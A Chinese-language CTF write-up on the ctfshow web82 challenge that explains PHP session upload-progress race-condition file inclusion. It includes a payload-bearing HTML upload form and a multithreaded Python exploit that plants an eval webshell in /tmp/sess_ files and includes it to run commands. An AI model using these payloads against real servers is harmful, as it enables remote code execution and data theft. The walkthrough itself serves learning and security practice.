文件包含条件竞争

相关链接:https://www.freebuf.com/articles/web/288430.html

这个一般是在文件上传题中发现无法上传成功,并且存在文件包含漏洞的时候就可以尝试是否存在条件竞争的条件

首先要进行条件竞争,就需要看以下.php.ini文件配置中的信息

1
2
3
4
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
1
2
3
4
session.upload_progress.enabled可以控制是否开启session.upload_progress功能
session.upload_progress.cleanup可以控制是否在上传之后删除文件内容
session.upload_progress.prefix可以设置上传文件内容的前缀
session.upload_progress.name的值即为session中的键值

这里简单的分析一下

session.upload_progres.enabled = on可以将我们上传的文件的信息存储在session中,这里就要去了解如何初始化session和如何来将信息写入session的

php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=flag时,PHP就会生成一个文件sess_flag,一般文件的地址在tmp临时目录下,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_flag中去,具体文件的内容是什么,后面会写到。

然后session.upload_progress.cleanup = on代表文件上传完成之后文件内容会被清除,这样就导致无法存储我们构造的payload,所以我们在这里就需要条件竞争来帮组我们进行获取

具体是因为在创建session文件时,到session清除之前会有一定的时间差,这样如果把握好中间的时间就可以来进行我们的文件包含,从而触发payload

这里就通过ctfshow web82的的题目来进行实验

首先需要先有一个文件包含的地方,这里就是一个参数file来实现文件包含

先看看题目源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

一般的常见的session路径为/tmp 或 /var/lib/php/session目录下

这里的路径默认为/tmp/sess_PHPSESSID

这里没有一个上传的接口,就需要我们通过自己在本地来创造一个上传的接口这里要注意一下有关上传的参数name,这里的PHP_SESSION_UPLOAD_PROGRESS为包含的关键

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<body>
<form action="https://xxxxxx/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat f*'); ?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

这个是文件包含的请求包

成功获取的报文是这样的

1
2
upload_progress_www-data
|a:5:{s:10:"start_time";i:1725970055;s:14:"content_length";i:368;s:15:"bytes_processed";i:368;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"wjsc.php";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1725970055;s:15:"bytes_processed";i:368;}}}

可以看到返回的报文,www-data就是PHP_SESSION_UPLOAD_PROGRESS的代码执行,这里就可以来进行任意文件执行,但是如果一直这样跑就比较麻烦

可以直接通过python脚本来帮助我们来实现文件包含的条件竞争,采用多线程来实现条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#coding=utf-8

import io
import requests
import threading
sessid = 'exp'
data = {"cmd":"system('whoami');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'https://xxxxx.xx/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('test.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('https://xxxxx.xx/?file=/tmp/sess_'+sessid,data=data)
if 'test.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()

for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()